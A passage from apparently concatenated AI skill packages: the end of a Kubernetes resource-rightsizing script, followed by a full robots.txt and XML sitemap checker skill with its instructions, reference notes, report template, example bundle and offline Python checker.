ok("healthy container is OK", x["status"] == "OK")
ok("headroom 0.25 changes cpu request (250)", run(hdr + row(), headroom=0.25)["containers"][0]["recommended"]["cpu_request_m"] == 250)
k = run(hdr + row(), keep_cpu_limits=True)["containers"][0]["recommended"]["cpu_limit_m"]
ok("kept cpu limit = max(360->400, 460->500) = 500", k == 500)
ok("minimums 10m / 32Mi", one(cpu_p50_m=0, cpu_p95_m=1, cpu_max_m=2, mem_p50_mi=1, mem_p95_mi=2, mem_max_mi=3)["recommended"]
== {"cpu_request_m": 10, "mem_request_mi": 32, "cpu_limit_m": None, "mem_limit_mi": 32})
ok("OOM kills -> CRITICAL", ("CRITICAL", "OOM_RISK") in codes(one(oom_kills=2)) and one(oom_kills=2)["status"] == "CRITICAL")
ok("max at 98% of limit -> OOM_RISK", ("CRITICAL", "OOM_RISK") in codes(one(mem_max_mi=1004, mem_p95_mi=500)))
ok("missing requests -> HIGH NO_REQUESTS", ("HIGH", "NO_REQUESTS") in codes(one(cpu_request_m=None)))
ok("mem p95 above request -> HIGH", ("HIGH", "MEM_UNDER_REQUEST") in codes(one(mem_request_mi=256)))
ok("throttling 30% -> HIGH", ("HIGH", "CPU_THROTTLED") in codes(one(throttled_pct=30)))
ok("throttling 12% -> MEDIUM", ("MEDIUM", "CPU_THROTTLED") in codes(one(throttled_pct=12)))
ok("cpu p95 > 1.2 x request -> MEDIUM", ("MEDIUM", "CPU_UNDER_REQUEST") in codes(one(cpu_request_m=150)))
ok("no memory limit -> MEDIUM", ("MEDIUM", "NO_MEMORY_LIMIT") in codes(one(mem_limit_mi=None)))
big = one(cpu_request_m=2000, mem_request_mi=4096)
ok("overprovisioned flagged LOW, status stays OK", ("LOW", "OVERPROVISIONED") in codes(big) and big["status"] == "OK")
ok("short window flagged", ("LOW", "SHORT_WINDOW") in codes(one(days=3)))
two = run(hdr + row(replicas=3) + row(workload="b", replicas=2, cpu_request_m=100, mem_request_mi=256),
core_month=20, gib_month=4)
# w: (500-230)*3=810m, (512-352)*3=480Mi ; b: (100-230)*2=-260m, (256-352)*2=-192Mi
ok("freed cores = (810-260)/1000 = 0.55", two["freed_cores"] == 0.55)
ok("freed GiB = (480-192)/1024 = 0.281", two["freed_gib"] == 0.281)
ok("monthly saving = 0.55 x 20 + 0.28125 x 4 = 12.125", abs(two["monthly_saving"] - 12.125) < 0.01)
ok("sorted by severity", two["containers"][0]["id"] == "ns/b/c")
for bad, label in (("a,b\n1,2\n", "missing columns"), (hdr, "no rows"), (hdr + row(cpu_p95_m="x"), "bad number"),
(hdr + row(cpu_p95_m=900), "p95 above max"), (hdr + row(replicas=0), "zero replicas"),
(hdr + row(cpu_p95_m=None), "missing usage")):
try:
run(bad)
ok(label + " rejected", False)
except DataError:
ok(label + " rejected", True)
print(f"{sum(cases)}/{len(cases)} passed")
return 0 if all(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Rightsize Kubernetes container requests and limits from usage percentiles.")
ap.add_argument("file", nargs="?", help="CSV with the columns listed in the module docstring")
ap.add_argument("--headroom", type=float, default=15, help="percent added to p95 for requests (default 15)")
ap.add_argument("--keep-cpu-limits", action="store_true", help="recommend CPU limits instead of removing them")
ap.add_argument("--core-month", type=float, help="price of one requested core per month")
ap.add_argument("--gib-month", type=float, help="price of one requested GiB of memory per month")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("give a CSV file or --self-test")
try:
out = run(open(a.file, encoding="utf-8").read(), a.headroom / 100, a.keep_cpu_limits, a.core_month, a.gib_month)
except (OSError, DataError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(out, indent=2) if a.json else report(out, a.headroom / 100), end="\n" if a.json else "")
return 1 if any(x["status"] in ("CRITICAL", "HIGH") for x in out["containers"]) else 0
if __name__ == "__main__":
sys.exit(main())离线按 Google 方式检查 robots.txt 与 XML sitemap。
---
name: robots-txt-and-sitemap-checker
description: 离线按 Google 方式检查 robots.txt 与 XML sitemap。
---
# robots.txt 与 Sitemap 检查器
你是「robots.txt 与 Sitemap 检查器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# Robots.txt and Sitemap Checker
You help site owners, SEO specialists and web developers make sure search engines can crawl the pages that matter and skip the ones that do not. From a robots.txt, an XML sitemap and a list of important URLs, you show which rule decides each URL, find contradictions between robots.txt and the sitemap, explain each problem in plain words and propose a corrected robots.txt and sitemap fixes.
## Files in this skill
- `scripts/crawl_check.py` - parses robots.txt and a sitemap, decides allowed or blocked per URL like Googlebot, and prints a URL table and findings (Python 3 standard library only, no network)
- `references/robots-txt-rules.md` - groups, longest-match and wildcard rules with examples, supported directives, common mistakes and how to test
- `references/sitemap-rules-and-fixes.md` - sitemap format and limits, what to list, lastmod, and the fix for each finding
- `templates/crawl-audit-report.md` - an audit report with a proposed robots.txt to hand to the developer
- `examples/outdoor-shop-crawl-check.json` - an outdoor gear shop after a relaunch: blog and JS blocked by mistake, a noindex line, an open admin path, and a sitemap with a blocked, an off-site, a duplicate and badly dated URLs
## Workflow
### 1. Collect the files
Ask for the live robots.txt (`https://<host>/robots.txt`), the sitemap or sitemap index, the canonical origin (scheme and host), and two short lists: URLs that must be crawlable (home, categories, top products or articles, CSS/JS bundles) and URLs that should be blocked (cart, checkout, internal search, filters, admin). Ask which crawler matters most (default Googlebot).
### 2. Run the checker
```
python3 scripts/crawl_check.py examples/outdoor-shop-crawl-check.json --today 2026-10-23
python3 scripts/crawl_check.py --robots robots.txt --sitemap sitemap.xml --site https://www.example.com --allow /product/x --block /cart/
python3 scripts/crawl_check.py --self-test
```
A bundle JSON holds the site, crawler, robots.txt and sitemap lines and the URL lists. Exit code 1 means CRITICAL or HIGH findings, 2 means bad input.
### 3. Explain and fix
Start with CRITICAL and HIGH: whole-site blocks, important pages blocked, sitemap URLs that robots.txt blocks, off-site sitemap entries. For each, name the deciding line and give the corrected rule. Explain that robots.txt does not remove pages from search or protect private pages (`references/robots-txt-rules.md`), and point to the fix table in `references/sitemap-rules-and-fixes.md`.
### 4. Deliver
Fill `templates/crawl-audit-report.md` with the URL table, findings, a full corrected robots.txt and the sitemap generator changes, then re-run the checker on the corrected files.
## Example result
For `examples/outdoor-shop-crawl-check.json` the status is HIGH: `Disallow: /blog/` (line 9) blocks /blog/trail-running-shoes-review and the listed /blog/spring-sale-recap, `Disallow: /assets/js/` blocks the app bundle, and http://trailgear.example/backpacks/ in the sitemap is off-site. The `Noindex: /search/` line is ignored by Google, so /search/ and /admin/ stay crawlable; the sitemap also has a duplicate /tents/, a lastmod in 2027 and one in `18.10.2026` format.
## Rules
- Always name the exact robots.txt line that decides a URL, and the crawler it was evaluated for.
- Never suggest robots.txt to hide private or sensitive pages; use authentication, and `noindex` for pages that must stay out of search.
- Give a complete corrected robots.txt, not only fragments, and keep rules the owner added on purpose (for example blocking AhrefsBot).
- The checker does not fetch URLs; say that status codes, redirects, canonicals and noindex tags need a crawl or Search Console.
FILE:references/robots-txt-rules.md
# robots.txt Rules (RFC 9309 and Google)
## Where and what
- Lives at the root of each host and protocol: `https://www.example.com/robots.txt` covers only that host. `example.com`, `shop.example.com` and `http://` need their own file.
- Plain text, UTF-8. Google reads the first 500 KiB. A 404 means "everything allowed"; a 5xx for a long time can make Google stop crawling the site.
- robots.txt controls **crawling**, not indexing. A blocked URL can still appear in search (without a snippet) if other pages link to it. To keep a page out of search, allow crawling and send `noindex`; to keep it private, require a login.
## Groups
```
User-agent: Googlebot
User-agent: Bingbot
Disallow: /tmp/
User-agent: *
Disallow: /cart/
```
- Consecutive `User-agent` lines share one group. Rules belong to the group above them.
- A crawler uses only **one** group: the one with the most specific matching name (`googlebot-image` over `googlebot`), otherwise `*`. Rules from `*` are not added to a named group, so a common mistake is a `Googlebot` group that forgets to repeat the `*` rules.
- Groups with the same name are merged.
## Matching
- Paths are case-sensitive and match from the start of the path (including the query string).
- `*` matches any characters; `$` anchors the end of the URL.
- The **longest** matching rule wins; on equal length `Allow` wins. No matching rule means allowed.
- `Disallow:` with an empty value allows everything.
| Rule | Blocks | Does not block |
|---|---|---|
| `Disallow: /shop` | /shop, /shop/, /shopping | /Shop |
| `Disallow: /shop/` | /shop/shoes | /shop |
| `Disallow: /*?sort=` | /tents/?sort=price | /tents/?color=red&sort=price (needs `/*sort=`) |
| `Disallow: /*.pdf$` | /docs/a.pdf | /docs/a.pdf?v=2 |
| `Disallow: /blog/` + `Allow: /blog/guides/` | /blog/news | /blog/guides/x |
## Directives
| Directive | Google | Notes |
|---|---|---|
| user-agent, allow, disallow | yes | core rules |
| sitemap | yes | absolute URL, any number, outside groups |
| crawl-delay | no | Bing and Yandex honour it; for Google, lower the crawl rate via server responses (429/503) |
| noindex, nofollow | no (dropped 2019) | use `<meta name="robots" content="noindex">` or the `X-Robots-Tag` header |
| host, clean-param | no | Yandex only |
## Common mistakes
- `Disallow: /` left over from staging after a launch (the whole site disappears from crawling).
- Blocking CSS, JS or image folders: Google renders pages and needs them; blocked assets can make pages look broken or not mobile-friendly.
- Blocking a page that carries `noindex`: the crawler never sees the noindex, so the URL can stay in the index.
- Using robots.txt to hide admin or private pages: the file is public and lists exactly where they are.
- Faceted URLs (sort, filter, session ids) left open, wasting crawl budget on endless combinations.
- Typos (`Disalow`) are silently ignored.
## Testing
- Google Search Console: robots.txt report (fetch status and parsed rules) and URL Inspection (blocked or not).
- Locally: `python3 scripts/crawl_check.py --robots robots.txt --site https://www.example.com --allow /product/x --block /cart/`.
FILE:references/sitemap-rules-and-fixes.md
# XML Sitemap Rules and Fixes
## Format
```xml
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url>
<loc>https://www.example.com/tents/ultralight-2p</loc>
<lastmod>2026-10-18T09:30:00+03:00</lastmod>
</url>
</urlset>
```
- At most **50,000 URLs** and **50 MB** uncompressed per file. Larger sites use a sitemap index (`<sitemapindex>` with `<sitemap><loc>` entries), up to 50,000 sitemaps.
- UTF-8, entity-escape `&`, `<`, `>`, `'`, `"` inside `<loc>`.
- `<loc>` must be absolute, on the same protocol and host as the sitemap (unless cross-submitted through Search Console for a verified host).
## What to list
- Only canonical, indexable URLs that return 200: no redirects, no 404s, no `noindex` pages, no URLs blocked by robots.txt, no parameter duplicates.
- The exact canonical form: same scheme (https), same host (www or not), same trailing-slash style as the `rel=canonical` tag.
- Each URL once.
## lastmod
- W3C datetime: `2026-10-18`, `2026-10-18T09:30+03:00` or `2026-10-18T06:30:00Z`. Formats like `18.10.2026` or `10/18/2026` are invalid.
- Set it to the last **meaningful** content change, not the build time. Google uses lastmod only when it is consistently accurate; future dates or every URL changing every day teach it to ignore the field.
- `<changefreq>` and `<priority>` are ignored by Google; they do no harm but are not worth maintaining.
## Telling crawlers about the sitemap
- `Sitemap: https://www.example.com/sitemap.xml` in robots.txt (absolute URL).
- Submit in Google Search Console and Bing Webmaster Tools, then watch the "Discovered" and "Indexed" counts and errors.
## Fixes by finding
| Finding | Fix |
|---|---|
| SITEMAP_URL_BLOCKED | Decide: if the page should rank, remove the Disallow; if not, drop it from the sitemap |
| SITEMAP_OFF_SITE | Rewrite `<loc>` to the canonical scheme and host; check the generator's base URL setting |
| SITEMAP_DUPLICATE | Deduplicate in the generator (often category + tag listings of the same page) |
| LASTMOD_INVALID / LASTMOD_FUTURE | Output ISO 8601 from the content's updated-at field; check server time zone and clock |
| SITEMAP_TOO_BIG | Split by section or date into several files under one sitemap index |
| SITEMAP_PARSE_ERROR | Escape `&` in URLs, remove a BOM or HTML error pages served instead of XML, check the namespace |
## Beyond this checker
The script works offline on the files you give it. Also check, with a crawler or Search Console: status codes of listed URLs, redirects, canonical tags, noindex tags and hreflang alternates.
FILE:templates/crawl-audit-report.md
# Crawl Audit - <site> - <date>
**Checked:** robots.txt (<fetched on / version>), <sitemap URL(s)> **Crawler:** <Googlebot> **Reviewer:** <name>
## Summary
- Status: <CRITICAL / HIGH / OK>
- robots.txt: <n> groups, <n> rules for <crawler>
- Sitemap: <n> URLs, <n> blocked, <n> off-site, <n> duplicates
## Important URLs
| URL | Should be | Result | Deciding rule | Fix |
|---|---|---|---|---|
| | crawlable | | | |
| | blocked | | | |
## Findings and fixes
| Severity | Finding | Detail | Fix | Owner |
|---|---|---|---|---|
| | | | | |
## Proposed robots.txt
```
User-agent: *
Disallow: ...
Allow: ...
Sitemap: https://...
```
## Follow-up
- Deploy the new robots.txt and sitemap on <date>; test in Search Console (robots.txt report, URL Inspection)
- Recheck coverage and crawl stats on <date>
FILE:examples/outdoor-shop-crawl-check.json
{
"site": "https://www.trailgear.example",
"user_agent": "Googlebot",
"robots_txt": [
"# robots.txt for www.trailgear.example (after the October relaunch)",
"User-agent: *",
"Disallow: /cart/",
"Disallow: /checkout/",
"Disallow: /account/",
"Disallow: /*?sort=",
"Disallow: /*?sessionid=",
"Disallow: /assets/js/",
"Disallow: /blog/",
"Allow: /blog/guides/",
"Crawl-delay: 10",
"Noindex: /search/",
"",
"User-agent: AhrefsBot",
"Disallow: /",
"",
"Sitemap: https://www.trailgear.example/sitemap.xml"
],
"sitemap_xml": [
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>",
"<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">",
" <url><loc>https://www.trailgear.example/</loc><lastmod>2026-10-20</lastmod></url>",
" <url><loc>https://www.trailgear.example/tents/</loc><lastmod>2026-10-18</lastmod></url>",
" <url><loc>https://www.trailgear.example/tents/ultralight-2p</loc><lastmod>2026-10-18T09:30:00+03:00</lastmod></url>",
" <url><loc>https://www.trailgear.example/tents/</loc><lastmod>2026-10-18</lastmod></url>",
" <url><loc>https://www.trailgear.example/blog/spring-sale-recap</loc><lastmod>2026-04-02</lastmod></url>",
" <url><loc>https://www.trailgear.example/blog/guides/layering-for-hiking</loc><lastmod>2026-09-12</lastmod></url>",
" <url><loc>http://trailgear.example/backpacks/</loc><lastmod>2026-10-01</lastmod></url>",
" <url><loc>https://www.trailgear.example/sleeping-bags/</loc><lastmod>18.10.2026</lastmod></url>",
" <url><loc>https://www.trailgear.example/stoves/</loc><lastmod>2027-03-01</lastmod></url>",
"</urlset>"
],
"must_crawl": [
"/tents/ultralight-2p",
"/blog/trail-running-shoes-review",
"/blog/guides/layering-for-hiking",
"/assets/js/app.js",
"/tents/?color=green"
],
"must_block": [
"/checkout/payment",
"/tents/?sort=price",
"/search/?q=stove",
"/admin/"
]
}
FILE:scripts/crawl_check.py
#!/usr/bin/env python3
"""robots.txt and XML sitemap checker (Python 3 standard library only, works offline).
Input, either:
a JSON bundle {"site": "https://www.example.com", "user_agent": "Googlebot",
"robots_txt": [lines] or "text", "sitemap_xml": [lines] or "text",
"must_crawl": [urls or paths], "must_block": [urls or paths]}
or files --robots robots.txt [--sitemap sitemap.xml] --site https://... [--allow URL] [--block URL]
Matching follows RFC 9309 / Google: the group whose user-agent token matches the crawler name
(case-insensitive, most specific wins, else "*"), then the longest matching Allow/Disallow path
(* = any characters, $ = end of URL); on a tie Allow wins; no match = allowed.
Findings (severity):
CRITICAL BLOCK_ALL "Disallow: /" applies to the crawler with no Allow rules
HIGH MUST_CRAWL_BLOCKED a URL that must be crawlable is disallowed
HIGH SITEMAP_URL_BLOCKED a URL listed in the sitemap is disallowed
HIGH SITEMAP_PARSE_ERROR sitemap is not well-formed XML or not urlset/sitemapindex
HIGH SITEMAP_TOO_BIG more than 50,000 URLs in one sitemap
HIGH SITEMAP_OFF_SITE a sitemap URL is on another host or scheme than the site
MEDIUM MUST_BLOCK_CRAWLABLE a URL that should be blocked is crawlable (robots.txt is not access control)
MEDIUM ASSETS_BLOCKED CSS, JS or image paths disallowed (pages cannot render for the crawler)
MEDIUM UNSUPPORTED_RULE noindex / nofollow / host lines (ignored by Google)
MEDIUM SITEMAP_DUPLICATE the same <loc> appears more than once
MEDIUM LASTMOD_FUTURE <lastmod> after --today
LOW CRAWL_DELAY_IGNORED crawl-delay (Googlebot ignores it; Bing and Yandex honour it)
LOW RULE_OUTSIDE_GROUP allow/disallow before any user-agent line
LOW UNKNOWN_DIRECTIVE unknown line or missing colon
LOW SITEMAP_RELATIVE Sitemap: line is not an absolute URL
LOW NO_SITEMAP_LINE robots.txt has no Sitemap: line
LOW LASTMOD_INVALID <lastmod> is not W3C datetime (YYYY-MM-DD[Thh:mm[:ss]TZD])
Usage:
python3 crawl_check.py bundle.json [--today 2026-10-23] [--json]
python3 crawl_check.py --robots robots.txt --sitemap sitemap.xml --site https://www.example.com --allow /shop/
python3 crawl_check.py --self-test
Exit code: 0 no CRITICAL/HIGH, 1 CRITICAL or HIGH findings, 2 bad input.
"""
import argparse
import datetime as dt
import json
import re
import sys
import urllib.parse
import xml.etree.ElementTree as ET
SEV_ORDER = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3}
KNOWN = {"user-agent", "allow", "disallow", "sitemap", "crawl-delay", "noindex", "nofollow", "host", "clean-param"}
ASSET_RE = re.compile(r"(\.css|\.js|\.png|\.jpe?g|\.webp|\.svg|\.gif|/static/|/assets/|/_next/|/wp-includes/|/css/|/js/)", re.I)
LASTMOD_RE = re.compile(r"^\d{4}(-\d{2}(-\d{2}(T\d{2}:\d{2}(:\d{2}(\.\d+)?)?(Z|[+-]\d{2}:\d{2}))?)?)?$")
NS = "{http://www.sitemaps.org/schemas/sitemap/0.9}"
class DataError(ValueError):
pass
def text_of(v):
if v is None:
return None
return "\n".join(v) if isinstance(v, list) else str(v)
def parse_robots(text):
"""-> (groups [{agents, rules[(kind, path, line)]}], sitemaps [(url, line)], issues [(sev, code, msg)])"""
groups, sitemaps, issues = [], [], []
cur, last_was_agent = None, False
for n, raw in enumerate(text.splitlines(), start=1):
line = raw.split("#", 1)[0].strip()
if not line:
continue
if ":" not in line:
issues.append(("LOW", "UNKNOWN_DIRECTIVE", f"line {n}: no colon in {line!r}"))
continue
key, val = (x.strip() for x in line.split(":", 1))
key = key.lower()
if key == "user-agent":
if not last_was_agent or cur is None:
cur = {"agents": [], "rules": []}
groups.append(cur)
cur["agents"].append(val.lower())
last_was_agent = True
continue
last_was_agent = False
if key in ("allow", "disallow"):
if cur is None:
issues.append(("LOW", "RULE_OUTSIDE_GROUP", f"line {n}: {key} before any user-agent line is ignored"))
elif val:
cur["rules"].append((key, val, n))
elif key == "sitemap":
sitemaps.append((val, n))
if not re.match(r"^https?://", val, re.I):
issues.append(("LOW", "SITEMAP_RELATIVE", f"line {n}: Sitemap must be an absolute URL, got {val!r}"))
elif key == "crawl-delay":
issues.append(("LOW", "CRAWL_DELAY_IGNORED", f"line {n}: crawl-delay {val} is ignored by Googlebot"))
elif key in ("noindex", "nofollow", "host", "clean-param"):
issues.append(("MEDIUM", "UNSUPPORTED_RULE", f"line {n}: '{key}' in robots.txt is not supported by Google; use meta robots / X-Robots-Tag or redirects"))
else:
issues.append(("LOW", "UNKNOWN_DIRECTIVE", f"line {n}: unknown directive {key!r}"))
return groups, sitemaps, issues
def pick_group(groups, agent):
"""Rules for the crawler: merge all groups with the longest matching agent token, else '*'."""
a = agent.lower()
best, rules = -1, []
for g in groups:
for tok in g["agents"]:
if tok != "*" and tok and a.startswith(tok) and len(tok) > best:
best, rules = len(tok), list(g["rules"])
elif tok != "*" and tok and a.startswith(tok) and len(tok) == best:
rules += g["rules"]
if best >= 0:
return rules
return [r for g in groups if "*" in g["agents"] for r in g["rules"]]
def pattern_to_re(path):
end = path.endswith("$")
body = path[:-1] if end else path
return re.compile("^" + ".*".join(re.escape(p) for p in body.split("*")) + ("$" if end else ""))
def path_of(url, site):
u = urllib.parse.urlsplit(urllib.parse.urljoin(site + "/", url))
return (u.path or "/") + (("?" + u.query) if u.query else "")
def decide(rules, path):
"""-> (allowed, matching rule or None)"""
best = None
for kind, pat, n in rules:
if pattern_to_re(pat).match(path):
key = (len(pat), kind == "allow")
if best is None or key > best[0]:
best = (key, (kind, pat, n))
if best is None:
return True, None
return best[1][0] == "allow", best[1]
def parse_sitemap(text):
try:
root = ET.fromstring(text.strip())
except ET.ParseError as e:
raise DataError(f"sitemap XML error: {e}")
tag = root.tag.replace(NS, "")
if tag not in ("urlset", "sitemapindex"):
raise DataError(f"sitemap root must be urlset or sitemapindex, got {tag!r}")
child = "url" if tag == "urlset" else "sitemap"
items = []
for el in root.findall(NS + child) or root.findall(child):
loc = el.findtext(NS + "loc") or el.findtext("loc") or ""
lm = el.findtext(NS + "lastmod") or el.findtext("lastmod")
items.append((loc.strip(), lm.strip() if lm else None))
return tag, items
def check(bundle, today=None):
site = (bundle.get("site") or "").rstrip("/")
if not re.match(r"^https?://[^/]+$", site):
raise DataError("site must be an origin like https://www.example.com")
robots = text_of(bundle.get("robots_txt"))
if robots is None:
raise DataError("robots_txt is required")
agent = bundle.get("user_agent") or "Googlebot"
today = today or dt.date.today()
groups, sitemaps, issues = parse_robots(robots)
rules = pick_group(groups, agent)
findings = [{"severity": s, "code": c, "message": m} for s, c, m in issues]
def f(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
if any(k == "disallow" and p == "/" for k, p, _ in rules) and not any(k == "allow" for k, _, _ in rules):
f("CRITICAL", "BLOCK_ALL", f"'Disallow: /' blocks the whole site for {agent}")
for k, p, n in rules:
if k == "disallow" and ASSET_RE.search(p):
f("MEDIUM", "ASSETS_BLOCKED", f"line {n}: Disallow {p} blocks CSS/JS/images needed to render pages")
if not sitemaps:
f("LOW", "NO_SITEMAP_LINE", "robots.txt has no Sitemap: line")
url_checks = []
for kind, key in (("crawl", "must_crawl"), ("block", "must_block")):
for u in bundle.get(key) or []:
p = path_of(u, site)
allowed, rule = decide(rules, p)
url_checks.append({"url": u, "path": p, "expect": kind, "allowed": allowed,
"rule": f"line {rule[2]}: {rule[0].title()}: {rule[1]}" if rule else "no rule"})
if kind == "crawl" and not allowed:
f("HIGH", "MUST_CRAWL_BLOCKED", f"{p} is blocked by line {rule[2]} ({rule[0].title()}: {rule[1]})")
if kind == "block" and allowed:
f("MEDIUM", "MUST_BLOCK_CRAWLABLE", f"{p} is crawlable ({'no rule' if not rule else 'line %d Allow: %s' % (rule[2], rule[1])}); protect private pages with auth or noindex, not robots.txt")
sm_info = None
sm_text = text_of(bundle.get("sitemap_xml"))
if sm_text is not None:
try:
kind, items = parse_sitemap(sm_text)
except DataError as e:
f("HIGH", "SITEMAP_PARSE_ERROR", str(e))
kind, items = None, []
host = urllib.parse.urlsplit(site)
seen, blocked, off = set(), 0, 0
for loc, lm in items:
u = urllib.parse.urlsplit(loc)
if (u.scheme, u.netloc) != (host.scheme, host.netloc):
off += 1
f("HIGH", "SITEMAP_OFF_SITE", f"{loc} is not on {site}")
if loc in seen:
f("MEDIUM", "SITEMAP_DUPLICATE", f"{loc} listed more than once")
seen.add(loc)
if kind == "urlset":
allowed, rule = decide(rules, path_of(loc, site))
if not allowed:
blocked += 1
f("HIGH", "SITEMAP_URL_BLOCKED", f"{loc} is in the sitemap but blocked by line {rule[2]} ({rule[0].title()}: {rule[1]})")
if lm is not None:
if not LASTMOD_RE.match(lm):
f("LOW", "LASTMOD_INVALID", f"{loc}: lastmod {lm!r} is not W3C datetime")
elif dt.date.fromisoformat(lm[:10] if len(lm) >= 10 else lm[:4] + "-01-01") > today:
f("MEDIUM", "LASTMOD_FUTURE", f"{loc}: lastmod {lm} is after {today}")
if len(items) > 50000:
f("HIGH", "SITEMAP_TOO_BIG", f"{len(items)} URLs; split into files of at most 50,000 URLs and use a sitemap index")
sm_info = {"type": kind, "urls": len(items), "blocked": blocked, "off_site": off}
findings.sort(key=lambda x: SEV_ORDER[x["severity"]])
status = findings[0]["severity"] if findings and findings[0]["severity"] in ("CRITICAL", "HIGH") else "OK"
return {"site": site, "user_agent": agent, "groups": len(groups), "rules_for_agent": len(rules),
"sitemaps_declared": [s for s, _ in sitemaps], "sitemap": sm_info, "url_checks": url_checks,
"findings": findings, "status": status}
def report(r):
L = [f"# Crawl check for {r['site']} as {r['user_agent']}", "",
f"robots.txt: {r['groups']} groups, {r['rules_for_agent']} rules apply to {r['user_agent']}; "
f"Sitemap lines: {', '.join(r['sitemaps_declared']) or 'none'}"]
if r["sitemap"]:
s = r["sitemap"]
L.append(f"Sitemap ({s['type']}): {s['urls']} URLs, {s['blocked']} blocked by robots.txt, {s['off_site']} off-site")
if r["url_checks"]:
L += ["", "| URL | Expected | Result | Deciding rule |", "|---|---|---|---|"]
for c in r["url_checks"]:
res = "allowed" if c["allowed"] else "blocked"
good = (c["expect"] == "crawl") == c["allowed"]
L.append(f"| {c['path']} | {c['expect']} | {res}{'' if good else ' (WRONG)'} | {c['rule']} |")
L += ["", f"## Findings (status {r['status']})"]
L += [f"- {x['severity']} {x['code']}: {x['message']}" for x in r["findings"]] or ["- none"]
return "\n".join(L) + "\n"
def self_test():
cases = []
def ok(name, cond):
cases.append(bool(cond))
print(("PASS " if cond else "FAIL ") + name)
def codes(r):
return {x["code"] for x in r["findings"]}
R = lambda t: pick_group(parse_robots(t)[0], "Googlebot")
rules = R("User-agent: *\nDisallow: /shop/\nAllow: /shop/products/\n")
ok("longest match wins (allow deeper path)", decide(rules, "/shop/products/a")[0] and not decide(rules, "/shop/cart")[0])
ok("tie goes to allow", decide(R("User-agent: *\nDisallow: /p\nAllow: /p\n"), "/p")[0])
ok("no rule = allowed", decide(rules, "/blog/")[0])
wild = R("User-agent: *\nDisallow: /*?sort=\nDisallow: /*.pdf$\n")
ok("* wildcard matches query", not decide(wild, "/shop/shoes?sort=price")[0])
ok("$ anchors end", not decide(wild, "/files/a.pdf")[0] and decide(wild, "/files/a.pdf?x=1")[0])
ok("empty Disallow allows everything", decide(R("User-agent: *\nDisallow:\n"), "/x")[0])
spec = parse_robots("User-agent: *\nDisallow: /\n\nUser-agent: Googlebot\nDisallow: /private/\n")[0]
ok("specific group beats *", decide(pick_group(spec, "Googlebot"), "/shop")[0] and not decide(pick_group(spec, "Bingbot"), "/shop")[0])
ok("googlebot-image uses longest token", pick_group(parse_robots("User-agent: googlebot\nDisallow: /a\nUser-agent: googlebot-image\nDisallow: /b\n")[0], "Googlebot-Image")[0][1] == "/b")
multi = parse_robots("User-agent: a\nUser-agent: b\nDisallow: /x\n")[0]
ok("consecutive user-agents share a group", len(multi) == 1 and multi[0]["agents"] == ["a", "b"])
ok("comments stripped", R("User-agent: * # all\nDisallow: /tmp/ # temp\n")[0][1] == "/tmp/")
base = {"site": "https://www.shop.test", "robots_txt": "User-agent: *\nDisallow: /\n"}
r = check(base, dt.date(2026, 10, 23))
ok("block all is CRITICAL", "BLOCK_ALL" in codes(r) and r["status"] == "CRITICAL")
r = check({**base, "robots_txt": ["User-agent: *", "Disallow: /checkout/", "Sitemap: https://www.shop.test/sitemap.xml"],
"must_crawl": ["/checkout/thanks"], "must_block": ["/admin/"]}, dt.date(2026, 10, 23))
ok("must_crawl blocked is HIGH", "MUST_CRAWL_BLOCKED" in codes(r) and r["status"] == "HIGH")
ok("must_block crawlable is MEDIUM", "MUST_BLOCK_CRAWLABLE" in codes(r))
ok("list of lines accepted, sitemap line read", r["sitemaps_declared"] == ["https://www.shop.test/sitemap.xml"])
r = check({**base, "robots_txt": "Disallow: /x\nUser-agent: *\nNoindex: /tmp/\nCrawl-delay: 5\nDisalow: /y\nSitemap: /sitemap.xml\nDisallow: /assets/\n"}, dt.date(2026, 10, 23))
for c in ("RULE_OUTSIDE_GROUP", "UNSUPPORTED_RULE", "CRAWL_DELAY_IGNORED", "UNKNOWN_DIRECTIVE", "SITEMAP_RELATIVE", "ASSETS_BLOCKED"):
ok(c + " flagged", c in codes(r))
ok("missing sitemap line flagged", "NO_SITEMAP_LINE" in codes(check({**base, "robots_txt": "User-agent: *\nDisallow:\n"})))
sm = ('<?xml version="1.0"?><urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'
"<url><loc>https://www.shop.test/a</loc><lastmod>2026-10-01</lastmod></url>"
"<url><loc>https://www.shop.test/a</loc></url>"
"<url><loc>http://www.shop.test/b</loc><lastmod>01/10/2026</lastmod></url>"
"<url><loc>https://www.shop.test/cart/x</loc><lastmod>2030-01-01T00:00:00+00:00</lastmod></url></urlset>")
r = check({**base, "robots_txt": "User-agent: *\nDisallow: /cart/\nSitemap: https://www.shop.test/sitemap.xml\n", "sitemap_xml": sm}, dt.date(2026, 10, 23))
for c in ("SITEMAP_DUPLICATE", "SITEMAP_OFF_SITE", "LASTMOD_INVALID", "LASTMOD_FUTURE", "SITEMAP_URL_BLOCKED"):
ok(c + " flagged", c in codes(r))
ok("sitemap counts", r["sitemap"] == {"type": "urlset", "urls": 4, "blocked": 1, "off_site": 1})
ok("bad XML is HIGH SITEMAP_PARSE_ERROR", "SITEMAP_PARSE_ERROR" in codes(check({**base, "robots_txt": "", "sitemap_xml": "<urlset><url>"})))
idx = '<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://www.shop.test/s1.xml</loc></sitemap></sitemapindex>'
ok("sitemap index read", check({**base, "robots_txt": "", "sitemap_xml": idx})["sitemap"]["type"] == "sitemapindex")
for bad, label in (({"robots_txt": ""}, "missing site"), ({"site": "https://x.test/path", "robots_txt": ""}, "site with path"),
({"site": "https://x.test"}, "missing robots_txt")):
try:
check(bad)
ok(label + " rejected", False)
except DataError:
ok(label + " rejected", True)
print(f"{sum(cases)}/{len(cases)} passed")
return 0 if all(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Check robots.txt rules and an XML sitemap offline.")
ap.add_argument("bundle", nargs="?", help="JSON bundle (see module docstring)")
